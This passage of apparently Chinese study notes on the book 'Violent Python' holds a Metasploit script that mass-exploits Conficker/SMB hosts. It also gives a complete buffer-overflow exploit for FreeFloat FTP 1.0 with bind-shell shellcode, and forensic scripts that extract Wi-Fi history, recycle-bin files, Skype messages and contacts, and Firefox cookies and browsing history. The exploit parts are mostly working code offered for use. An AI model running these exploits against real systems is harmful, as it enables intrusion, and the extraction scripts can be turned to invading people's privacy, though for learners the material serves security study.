  54.         configFile.write(‘set LPORT ‘ + str(lport) + ‘\n‘)  
  55.         configFile.write(‘set LHOST ‘ + lhost + ‘\n‘)  
  56.         configFile.write(‘exploit -j -z\n‘)  
  57.   
  58. def main():  
  59.     configFile = open(‘meta.rc‘,‘w‘)  
  60.     parser = optparse.OptionParser(‘[*] Usage : ./conficker.py -H <RHOST[s]> -l <LHOST> [-p <LPORT> -F <Password File>]‘)  
  61.     parser.add_option(‘-H‘,dest=‘tgtHost‘,type=‘string‘,help=‘specify the target host[s]‘)  
  62.     parser.add_option(‘-l‘,dest=‘lhost‘,type=‘string‘,help=‘specify the listen host‘)  
  63.     parser.add_option(‘-p‘,dest=‘lport‘,type=‘string‘,help=‘specify the listen port‘)  
  64.     parser.add_option(‘-F‘,dest=‘passwdFile‘,type=‘string‘,help=‘specify the password file‘)  
  65.     (options,args)=parser.parse_args()  
  66.     if (options.tgtHost == None) | (options.lhost == None):  
  67.         print parser.usage  
  68.         exit(0)  
  69.     lhost = options.lhost  
  70.     lport = options.lport  
  71.   
  72.     if lport == None:  
  73.         lport = ‘1337‘  
  74.   
  75.     passwdFile = options.passwdFile  
  76.     tgtHosts = findTgts(options.tgtHost)  
  77.     setupHandler(configFile,lhost,lport)  
  78.   
  79.     for tgtHost in tgtHosts:  
  80.         confickerExploit(configFile,tgtHost,lhost,lport)  
  81.         if passwdFile != None:  
  82.             smbBrute(configFile,tgtHost,passwdFile,lhost,lport)  
  83.   
  84.     configFile.close()  
  85.     os.system(‘msfconsole -r meta.rc‘)  
  86.   
  87. if __name__ == ‘__main__‘:  
  88.     main()  

运行结果:

技术分享图片

技术分享图片

技术分享图片


5、编写你自己的0day概念验证代码

添加攻击的关键元素:

首先在shellcode变量中写入msf框架生成的载荷和十六进制代码;然后在overflow变量中写入246个字母A(十六进制值为\x41),接着让ret变量指向kernel32.dll中的一个含有把控制流直接跳转到栈顶部的指令的地址;padding变量中是150个NOP指令,构成NOP链;最后把所有变量组合在一起形成crash变量:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3.   
  4. shellcode = ("\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33\xc9"   
  5. "\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4\x4f"   
  6. "\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8"   
  7. "\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7"   
  8. "\xdb\x70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\xf5"   
  9. "\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c"   
  10. "\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0"   
  11. "\x48\x2d\x76\xe3\xb5\x64\xf3\xd0\x4e\x77\xd5\x28\xae\x49"   
  12. "\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96"   
  13. "\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82"   
  14. "\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf"   
  15. "\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41"   
  16. "\x40\x5c\x64\x0e\xa5\x53\x97\xce\xa1\xe4\xe4\xfc\x6e\x5f"   
  17. "\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a"   
  18. "\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b"   
  19. "\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a"   
  20. "\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3"   
  21. "\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea"   
  22. "\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8"   
  23. "\xfa\x86\x0b\x78\xfa\x82\xfb\x19\x69\x49\xfb\x54\x92\xc6"   
  24. "\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea"   
  25. "\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30"   
  26. "\x11\xd0\x48\xf3\xcb\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd\x53"   
  27. "\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85"   
  28. "\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25"   
  29. "\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10"   
  30. "\xba\x1e\x53\x31")  
  31. overflow = "\x41" * 246  
  32. ret = struct.pack(‘<L‘, 0x7C874413)  
  33. padding = "\x90" * 150  
  34. crash = overflow + ret + padding + shellcode  

其中padding为在shellcode之前的一系列NOP(无操作)指令,使攻击者预估直接跳转到那里去的地址时,能放宽的精度要求。只要它跳转到NOP链的任意地方,都会直接滑到shellc中去。


发送漏洞利用代码:

使用socket与目标主机的TCP 21端口创建一个连接,若连接成功则匿名登录主机,最后发送FTP命令RETR,其后面接上crash变量,由于受影响的程序无法正确检查用户输入,因而会引发基于栈的缓冲区溢出,会覆盖EIP寄存器从而使程序直接跳转到shellcode中并执行:

[python] view plain copy
  1. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  2. try:  
  3.     s.connect((target, 21))  
  4. except:  
  5.     print "[-] Connection to " + target + " failed!"  
  6.     sys.exit(0)  
  7.   
  8. print "[*] Sending " + ‘len(crash)‘ + " " + command + " byte crash..."  
  9.   
  10. s.send("USER anonymous\r\n")  
  11. s.recv(1024)  
  12. s.send("PASS \r\n")  
  13. s.recv(1024)  
  14. s.send("RETR" + " " + crash + "\r\n")  
  15. time.sleep(4)  


汇总得到完整的漏洞利用脚本:

需要下载能运行在XP上的FreeFloat FTP软件,然后就可以进行测试了:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import socket  
  4. import sys  
  5. import time  
  6. import struct  
  7.   
  8. if len(sys.argv) < 2:  
  9.     print "[-] Usage: %s <target addr> <command>" % sys.argv[0] + "\r"  
  10.     print "[-] For example [filename.py 192.168.1.10 PWND] would do the trick."  
  11.     print "[-] Other options: AUTH, APPE, ALLO, ACCT"  
  12.     sys.exit(0)  
  13.   
  14. target = sys.argv[1]  
  15. command = sys.argv[2]  
  16.   
  17. if len(sys.argv) > 2:  
  18.     platform = sys.argv[2]  
  19.   
  20. #./msfpayload windows/shell_bind_tcp r | ./msfencode -e x86/shikata_ga_nai -b "\x00\xff\x0d\x0a\x3d\x20"  
  21. #[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)  
  22.   
  23. shellcode = ("\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33\xc9"   
  24. "\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4\x4f"   
  25. "\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8"   
  26. "\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7"   
  27. "\xdb\x70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\xf5"   
  28. "\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c"   
  29. "\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0"   
  30. "\x48\x2d\x76\xe3\xb5\x64\xf3\xd0\x4e\x77\xd5\x28\xae\x49"   
  31. "\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96"   
  32. "\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82"   
  33. "\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf"   
  34. "\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41"   
  35. "\x40\x5c\x64\x0e\xa5\x53\x97\xce\xa1\xe4\xe4\xfc\x6e\x5f"   
  36. "\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a"   
  37. "\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b"   
  38. "\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a"   
  39. "\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3"   
  40. "\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea"   
  41. "\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8"   
  42. "\xfa\x86\x0b\x78\xfa\x82\xfb\x19\x69\x49\xfb\x54\x92\xc6"   
  43. "\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea"   
  44. "\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30"   
  45. "\x11\xd0\x48\xf3\xcb\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd\x53"   
  46. "\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85"   
  47. "\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25"   
  48. "\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10"   
  49. "\xba\x1e\x53\x31")  
  50. #7C874413   FFE4             JMP ESP kernel32.dll  
  51. overflow = "\x41" * 246  
  52. ret = struct.pack(‘<L‘, 0x7C874413)  
  53. padding = "\x90" * 150  
  54. crash = overflow + ret + padding + shellcode  
  55.   
  56. print "\  
  57. [*] Freefloat FTP 1.0 Any Non Implemented Command Buffer Overflow\n\  
  58. [*] Author: Craig Freyman (@cd1zz)\n\  
  59. [*] Connecting to " + target  
  60.   
  61. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  62. try:  
  63.     s.connect((target, 21))  
  64. except:  
  65.     print "[-] Connection to " + target + " failed!"  
  66.     sys.exit(0)  
  67.   
  68. print "[*] Sending " + ‘len(crash)‘ + " " + command + " byte crash..."  
  69.   
  70. s.send("USER anonymous\r\n")  
  71. s.recv(1024)  
  72. s.send("PASS \r\n")  
  73. s.recv(1024)  
  74. s.send("RETR" + " " + crash + "\r\n")  
  75. time.sleep(4)  



第三章——用Python进行取证调查

1、你曾经去过哪里?——在注册表中分析无线访问热点:

以管理员权限开启cmd,输入如下命令来列出每个网络显示出profile Guid对网络的描述、网络名和网关的MAC地址:

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\
CurrentVersion\NetworkList\Signatures\Unmanaged" /s

技术分享图片


使用WinReg读取Windows注册表中的内容:

这里需要用到Python的_winreg库,在Windows版是默认安装好的。

连上注册表后,使用OpenKey()函数打开相关的键,在循环中依次分析该键下存储的所有网络network profile,其中FirstNetwork网络名和DefaultGateway默认网关的Mac地址的键值打印出来。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. from _winreg import *  
  4.   
  5. # 将REG_BINARY值转换成一个实际的Mac地址  
  6. def val2addr(val):  
  7.     addr = ""  
  8.     for ch in val:  
  9.         addr += ("%02x " % ord(ch))  
  10.     addr = addr.strip(" ").replace(" ", ":")[0:17]  
  11.     return addr  
  12.   
  13. # 打印网络相关信息  
  14. def printNets():  
  15.     net = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged"  
  16.     key = OpenKey(HKEY_LOCAL_MACHINE, net)  
  17.     print "\n[*]Networks You have Joined."  
  18.     for i in range(100):  
  19.         try:  
  20.             guid = EnumKey(key, i)  
  21.             netKey = OpenKey(key, str(guid))  
  22.             (n, addr, t) = EnumValue(netKey, 5)  
  23.             (n, name, t) = EnumValue(netKey, 4)  
  24.             macAddr = val2addr(addr)  
  25.             netName = name  
  26.             print ‘[+] ‘ + netName + ‘  ‘ + macAddr  
  27.             CloseKey(netKey)  
  28.         except:  
  29.             break  
  30.   
  31. def main():  
  32.     printNets()  
  33.   
  34. if __name__ == ‘__main__‘:  
  35.     main()  

运行结果:

技术分享图片

注意一点的是,是需要管理员权限开启cmd来执行脚本才行得通。


使用Mechanize把Mac地址传给Wigle:

此处增加了对Wigle网站的访问并将Mac地址传递给Wigle来获取经纬度等物理地址信息。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. from _winreg import *  
  4. import mechanize  
  5. import urllib  
  6. import re  
  7. import urlparse  
  8. import os  
  9. import optparse  
  10.   
  11. # 将REG_BINARY值转换成一个实际的Mac地址  
  12. def val2addr(val):  
  13.     addr = ""  
  14.     for ch in val:  
  15.         addr += ("%02x " % ord(ch))  
  16.     addr = addr.strip(" ").replace(" ", ":")[0:17]  
  17.     return addr  
  18.   
  19. # 打印网络相关信息  
  20. def printNets(username, password):  
  21.     net = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged"  
  22.     key = OpenKey(HKEY_LOCAL_MACHINE, net)  
  23.     print "\n[*]Networks You have Joined."  
  24.     for i in range(100):  
  25.         try:  
  26.             guid = EnumKey(key, i)  
  27.             netKey = OpenKey(key, str(guid))  
  28.             (n, addr, t) = EnumValue(netKey, 5)  
  29.             (n, name, t) = EnumValue(netKey, 4)  
  30.             macAddr = val2addr(addr)  
  31.             netName = name  
  32.             print ‘[+] ‘ + netName + ‘  ‘ + macAddr  
  33.             wiglePrint(username, password, macAddr)  
  34.             CloseKey(netKey)  
  35.         except:  
  36.             break  
  37.   
  38. # 通过wigle查找Mac地址对应的经纬度  
  39. def wiglePrint(username, password, netid):  
  40.     browser = mechanize.Browser()  
  41.     browser.open(‘http://wigle.net‘)  
  42.     reqData = urllib.urlencode({‘credential_0‘: username, ‘credential_1‘: password})  
  43.     browser.open(‘https://wigle.net/gps/gps/main/login‘, reqData)  
  44.     params = {}  
  45.     params[‘netid‘] = netid  
  46.     reqParams = urllib.urlencode(params)  
  47.     respURL = ‘http://wigle.net/gps/gps/main/confirmquery/‘  
  48.     resp = browser.open(respURL, reqParams).read()  
  49.     mapLat = ‘N/A‘  
  50.     mapLon = ‘N/A‘  
  51.     rLat = re.findall(r‘maplat=.*\&‘, resp)  
  52.     if rLat:  
  53.         mapLat = rLat[0].split(‘&‘)[0].split(‘=‘)[1]  
  54.     rLon = re.findall(r‘maplon=.*\&‘, resp)  
  55.     if rLon:  
  56.         mapLon = rLon[0].split  
  57.     print ‘[-] Lat: ‘ + mapLat + ‘, Lon: ‘ + mapLon  
  58.   
  59. def main():  
  60.     parser = optparse.OptionParser(‘usage %prog ‘ + ‘-u <wigle username> -p <wigle password>‘)  
  61.     parser.add_option(‘-u‘, dest=‘username‘, type=‘string‘, help=‘specify wigle password‘)  
  62.     parser.add_option(‘-p‘, dest=‘password‘, type=‘string‘, help=‘specify wigle username‘)  
  63.     (options, args) = parser.parse_args()  
  64.     username = options.username  
  65.     password = options.password  
  66.     if username == None or password == None:  
  67.         print parser.usage  
  68.         exit(0)  
  69.     else:  
  70.         printNets(username, password)  
  71.   
  72. if __name__ == ‘__main__‘:  
  73.     main()  

运行结果:

技术分享图片

看到只显示一条信息,且没有其物理地址相关信息,存在问题。


调试查看原因:

技术分享图片

发现是网站的robots.txt文件禁止对该页面的请求因而无法访问。


2、用Python恢复被删入回收站中的内容:

使用OS模块寻找被删除的文件/文件夹:

Windows系统中的回收站是一个专门用来存放被删除文件的特殊文件夹。

子目录中的字符串表示的是用户的SID,对应机器里一个唯一的用户账户。

技术分享图片

寻找被删除的文件/文件夹的函数:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import os  
  4.   
  5. # 逐一测试回收站的目录是否存在,并返回第一个找到的回收站目录  
  6. def returnDir():  
  7.     dirs=[‘C:\\Recycler\\‘, ‘C:\\Recycled\\‘, ‘C:\\$Recycle.Bin\\‘]  
  8.     for recycleDir in dirs:  
  9.         if os.path.isdir(recycleDir):  
  10.             return recycleDir  
  11.     return None  


用Python把SID和用户名关联起来:

可以使用Windows注册表把SID转换成一个准确的用户名。

以管理员权限运行cmd并输入命令:

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-2595130515-3345905091-1839164762-1000" /s

技术分享图片


代码如下:

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import os  
  4. import optparse  
  5. from _winreg import *  
  6.   
  7. # 逐一测试回收站的目录是否存在,并返回第一个找到的回收站目录  
  8. def returnDir():  
  9.     dirs=[‘C:\\Recycler\\‘, ‘C:\\Recycled\\‘, ‘C:\\$Recycle.Bin\\‘]  
  10.     for recycleDir in dirs:  
  11.         if os.path.isdir(recycleDir):  
  12.             return recycleDir  
  13.     return None  
  14.   
  15. # 操作注册表来获取相应目录属主的用户名  
  16. def sid2user(sid):  
  17.     try:  
  18.         key = OpenKey(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" + ‘\\‘ + sid)  
  19.         (value, type) = QueryValueEx(key, ‘ProfileImagePath‘)  
  20.         user = value.split(‘\\‘)[-1]  
  21.         return user  
  22.     except:  
  23.         return sid  
  24.   
  25. def findRecycled(recycleDir):  
  26.     dirList = os.listdir(recycleDir)  
  27.     for sid in dirList:  
  28.         files = os.listdir(recycleDir + sid)  
  29.         user = sid2user(sid)  
  30.         print ‘\n[*] Listing Files For User: ‘ + str(user)  
  31.         for file in files:  
  32.             print ‘[+] Found File: ‘ + str(file)  
  33.   
  34. def main():  
  35.     recycledDir = returnDir()  
  36.     findRecycled(recycledDir)  
  37.   
  38. if __name__ == ‘__main__‘:  
  39.     main()  

回收站的内容:

技术分享图片

运行结果:

技术分享图片


3、元数据:

使用PyPDF解析PDF文件中的元数据:

pyPdf是管理PDF文档的第三方Python库,在Kali中是已经默认安装了的就不需要再去下载安装。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import pyPdf  
  4. import optparse  
  5. from pyPdf import PdfFileReader  
  6.   
  7. # 使用getDocumentInfo()函数提取PDF文档所有的元数据  
  8. def printMeta(fileName):  
  9.     pdfFile = PdfFileReader(file(fileName, ‘rb‘))  
  10.     docInfo = pdfFile.getDocumentInfo()  
  11.     print "[*] PDF MeataData For: " + str(fileName)  
  12.     for meraItem in docInfo:  
  13.         print "[+] " + meraItem + ": " + docInfo[meraItem]  
  14.   
  15. def main():  
  16.     parser = optparse.OptionParser("[*]Usage: python pdfread.py -F <PDF file name>")  
  17.     parser.add_option(‘-F‘, dest=‘fileName‘, type=‘string‘, help=‘specify PDF file name‘)  
  18.     (options, args) = parser.parse_args()  
  19.     fileName = options.fileName  
  20.     if fileName == None:  
  21.         print parser.usage  
  22.         exit(0)  
  23.     else:  
  24.         printMeta(fileName)  
  25.   
  26. if __name__ == ‘__main__‘:  
  27.     main()  

解析一个PDF文件的运行结果:

技术分享图片


理解Exif元数据:

Exif,即exchange image file format交换图像文件格式,定义了如何存储图像和音频文件的标准。


用BeautifulSoup下载图片:

[python] view plain copy
  1. import urllib2  
  2. from bs4 import BeautifulSoup as BS  
  3. from os.path import basename  
  4. from urlparse import urlsplit  
  5.   
  6. # 通过BeautifulSoup查找URL中所有的img标签  
  7. def findImages(url):  
  8.     print ‘[+] Finding images on ‘ + url  
  9.     urlContent = urllib2.urlopen(url).read()  
  10.     soup = BS(urlContent, ‘lxml‘)  
  11.     imgTags = soup.findAll(‘img‘)  
  12.     return imgTags  
  13.   
  14. # 通过img标签的src属性的值来获取图片URL下载图片  
  15. def downloadImage(imgTag):  
  16.     try:  
  17.         print ‘[+] Dowloading image...‘  
  18.         imgSrc = imgTag[‘src‘]  
  19.         imgContent = urllib2.urlopen(imgSrc).read()  
  20.         imgFileName = basename(urlsplit(imgSrc)[2])  
  21.         imgFile = open(imgFileName, ‘wb‘)  
  22.         imgFile.write(imgContent)  
  23.         imgFile.close()  
  24.         return imgFileName  
  25.     except:  
  26.         return ‘ ‘  


用Python的图像处理库读取图片中的Exif元数据:

这里使用到Python的图形处理库PIL,在Kali中默认安装了。

这里查看下载图片的元数据中是否含有Exif标签“GPSInfo”,若存在则输出存在信息。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import optparse  
  4. from PIL import Image  
  5. from PIL.ExifTags import TAGS  
  6. import urllib2  
  7. from bs4 import BeautifulSoup as BS  
  8. from os.path import basename  
  9. from urlparse import urlsplit  
  10.   
  11. # 通过BeautifulSoup查找URL中所有的img标签  
  12. def findImages(url):  
  13.     print ‘[+] Finding images on ‘ + url  
  14.     urlContent = urllib2.urlopen(url).read()  
  15.     soup = BS(urlContent, ‘lxml‘)  
  16.     imgTags = soup.findAll(‘img‘)  
  17.     return imgTags  
  18.   
  19. # 通过img标签的src属性的值来获取图片URL下载图片  
  20. def downloadImage(imgTag):  
  21.     try:  
  22.         print ‘[+] Dowloading image...‘  
  23.         imgSrc = imgTag[‘src‘]  
  24.         imgContent = urllib2.urlopen(imgSrc).read()  
  25.         imgFileName = basename(urlsplit(imgSrc)[2])  
  26.         imgFile = open(imgFileName, ‘wb‘)  
  27.         imgFile.write(imgContent)  
  28.         imgFile.close()  
  29.         return imgFileName  
  30.     except:  
  31.         return ‘ ‘  
  32.   
  33. # 获取图像文件的元数据,并寻找是否存在Exif标签“GPSInfo”  
  34. def testForExif(imgFileName):  
  35.     try:  
  36.         exifData = {}  
  37.         imgFile = Image.open(imgFileName)  
  38.         info = imgFile._getexif()  
  39.         if info:  
  40.             for (tag, value) in info.items():  
  41.                 decoded = TAGS.get(tag, tag)  
  42.                 exifData[decoded] = value  
  43.             exifGPS = exifData[‘GPSInfo‘]  
  44.             if exifGPS:  
  45.                 print ‘[*] ‘ + imgFileName + ‘ contains GPS MetaData‘  
  46.     except:  
  47.         pass  
  48.   
  49. def main():  
  50.     parser = optparse.OptionParser(‘[*]Usage: python Exif.py -u <target url>‘)  
  51.     parser.add_option(‘-u‘, dest=‘url‘, type=‘string‘, help=‘specify url address‘)  
  52.     (options, args) = parser.parse_args()  
  53.     url = options.url  
  54.     if url == None:  
  55.         print parser.usage  
  56.         exit(0)  
  57.     else:  
  58.         imgTags = findImages(url)  
  59.         for imgTag in imgTags:  
  60.             imgFileName = downloadImage(imgTag)  
  61.             testForExif(imgFileName)  
  62.   
  63. if __name__ == ‘__main__‘:  
  64.     main()  

书中样例的网址为https://www.flickr.com/photos/dvids/4999001925/sizes/o

运行结果:

技术分享图片


4、用Python分析应用程序的使用记录:

使用Python和SQLite3自动查询Skype的数据库:

这里没有下载Skype聊天程序,感兴趣的自己下载测试即可。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import sqlite3  
  4. import optparse  
  5. import os  
  6.   
  7. # 连接main.db数据库,申请游标,执行SQL语句并返回结果  
  8. def printProfile(skypeDB):  
  9.     conn = sqlite3.connect(skypeDB)  
  10.     c = conn.cursor()  
  11.     c.execute("SELECT fullname, skypename, city, country, datetime(profile_timestamp,‘unixepoch‘) FROM Accounts;")  
  12.   
  13.     for row in c:  
  14.         print ‘[*] -- Found Account --‘  
  15.         print ‘[+] User           : ‘+str(row[0])  
  16.         print ‘[+] Skype Username : ‘+str(row[1])  
  17.         print ‘[+] Location       : ‘+str(row[2])+‘,‘+str(row[3])  
  18.         print ‘[+] Profile Date   : ‘+str(row[4])  
  19.   
  20. # 获取联系人的相关信息  
  21. def printContacts(skypeDB):  
  22.     conn = sqlite3.connect(skypeDB)  
  23.     c = conn.cursor()  
  24.     c.execute("SELECT displayname, skypename, city, country, phone_mobile, birthday FROM Contacts;")  
  25.   
  26.     for row in c:  
  27.         print ‘\n[*] -- Found Contact --‘  
  28.         print ‘[+] User           : ‘ + str(row[0])  
  29.         print ‘[+] Skype Username : ‘ + str(row[1])  
  30.   
  31.         if str(row[2]) != ‘‘ and str(row[2]) != ‘None‘:  
  32.             print ‘[+] Location       : ‘ + str(row[2]) + ‘,‘ + str(row[3])  
  33.         if str(row[4]) != ‘None‘:  
  34.             print ‘[+] Mobile Number  : ‘ + str(row[4])  
  35.         if str(row[5]) != ‘None‘:  
  36.             print ‘[+] Birthday       : ‘ + str(row[5])  
  37.   
  38. def printCallLog(skypeDB):  
  39.     conn = sqlite3.connect(skypeDB)  
  40.     c = conn.cursor()  
  41.     c.execute("SELECT datetime(begin_timestamp,‘unixepoch‘), identity FROM calls, conversations WHERE calls.conv_dbid = conversations.id;")  
  42.     print ‘\n[*] -- Found Calls --‘  
  43.   
  44.     for row in c:  
  45.         print ‘[+] Time: ‘ + str(row[0]) + ‘ | Partner: ‘ + str(row[1])  
  46.   
  47. def printMessages(skypeDB):  
  48.     conn = sqlite3.connect(skypeDB)  
  49.     c = conn.cursor()  
  50.     c.execute("SELECT datetime(timestamp,‘unixepoch‘), dialog_partner, author, body_xml FROM Messages;")  
  51.     print ‘\n[*] -- Found Messages --‘  
  52.   
  53.     for row in c:  
  54.         try:  
  55.             if ‘partlist‘ not in str(row[3]):  
  56.                 if str(row[1]) != str(row[2]):  
  57.                     msgDirection = ‘To ‘ + str(row[1]) + ‘: ‘  
  58.                 else:  
  59.                     msgDirection = ‘From ‘ + str(row[2]) + ‘ : ‘  
  60.                 print ‘Time: ‘ + str(row[0]) + ‘ ‘ + msgDirection + str(row[3])  
  61.         except:  
  62.             pass  
  63.   
  64. def main():  
  65.     parser = optparse.OptionParser("[*]Usage: python skype.py -p <skype profile path> ")  
  66.     parser.add_option(‘-p‘, dest=‘pathName‘, type=‘string‘, help=‘specify skype profile path‘)  
  67.     (options, args) = parser.parse_args()  
  68.     pathName = options.pathName  
  69.     if pathName == None:  
  70.         print parser.usage  
  71.         exit(0)  
  72.     elif os.path.isdir(pathName) == False:  
  73.         print ‘[!] Path Does Not Exist: ‘ + pathName  
  74.         exit(0)  
  75.     else:  
  76.         skypeDB = os.path.join(pathName, ‘main.db‘)  
  77.         if os.path.isfile(skypeDB):  
  78.             printProfile(skypeDB)  
  79.             printContacts(skypeDB)  
  80.             printCallLog(skypeDB)  
  81.             printMessages(skypeDB)  
  82.         else:  
  83.             print ‘[!] Skype Database ‘ + ‘does not exist: ‘ + skpeDB  
  84.   
  85. if __name__ == ‘__main__‘:  
  86.     main()  

这里直接用该书作者提供的数据包进行测试:

技术分享图片


用Python解析火狐浏览器的SQLite3数据库:

在Windows7以上的系统中,Firefox的sqlite文件保存在类似如下的目录中:C:\Users\win7\AppData\Roaming\Mozilla\Firefox\Profiles\8eogekr4.default

技术分享图片

主要关注这几个文件:cookie.sqlite、places.sqlite、downloads.sqlite

然而在最近新的几个版本的Firefox中已经没有downloads.sqlite这个文件了,具体换成哪个文件可以自己去研究查看一下即可。

[python] view plain copy
  1. #!/usr/bin/python  
  2. #coding=utf-8  
  3. import re  
  4. import optparse  
  5. import os  
  6. import sqlite3  
  7.   
  8. # 解析打印downloads.sqlite文件的内容,输出浏览器下载的相关信息  
  9. def printDownloads(downloadDB):  
  10.     conn = sqlite3.connect(downloadDB)  
  11.     c = conn.cursor()  
  12.     c.execute(‘SELECT name, source, datetime(endTime/1000000, \‘unixepoch\‘) FROM moz_downloads;‘)  
  13.     print ‘\n[*] --- Files Downloaded --- ‘  
  14.     for row in c:  
  15.         print ‘[+] File: ‘ + str(row[0]) + ‘ from source: ‘ + str(row[1]) + ‘ at: ‘ + str(row[2])  
  16.   
  17. # 解析打印cookies.sqlite文件的内容,输出cookie相关信息  
  18. def printCookies(cookiesDB):  
  19.     try:  
  20.         conn = sqlite3.connect(cookiesDB)  
  21.         c = conn.cursor()  
  22.         c.execute(‘SELECT host, name, value FROM moz_cookies‘)  
  23.   
  24.         print ‘\n[*] -- Found Cookies --‘  
  25.         for row in c:  
  26.             host = str(row[0])  
  27.             name = str(row[1])  
  28.             value = str(row[2])  
  29.             print ‘[+] Host: ‘ + host + ‘, Cookie: ‘ + name + ‘, Value: ‘ + value  
  30.     except Exception, e:  
  31.         if ‘encrypted‘ in str(e):  
  32.             print ‘\n[*] Error reading your cookies database.‘  
  33.             print ‘[*] Upgrade your Python-Sqlite3 Library‘  
  34.   
  35. # 解析打印places.sqlite文件的内容,输出历史记录  
  36. def printHistory(placesDB):  
  37.     try:  
  38.         conn = sqlite3.connect(placesDB)  
  39.         c = conn.cursor()  
  40.         c.execute("select url, datetime(visit_date/1000000, ‘unixepoch‘) from moz_places, moz_historyvisits where visit_count > 0 and moz_places.id==moz_historyvisits.place_id;")  
  41.   
  42.         print ‘\n[*] -- Found History --‘  
  43.         for row in c:  
  44.             url = str(row[0])  
  45.             date = str(row[1])  
  46.             print ‘[+] ‘ + date + ‘ - Visited: ‘ + url  
  47.     except Exception, e:  
  48.         if ‘encrypted‘ in str(e):  
  49.             print ‘\n[*] Error reading your places database.‘  
  50.             print ‘[*] Upgrade your Python-Sqlite3 Library‘  
  51.             exit(0)  
  52.   
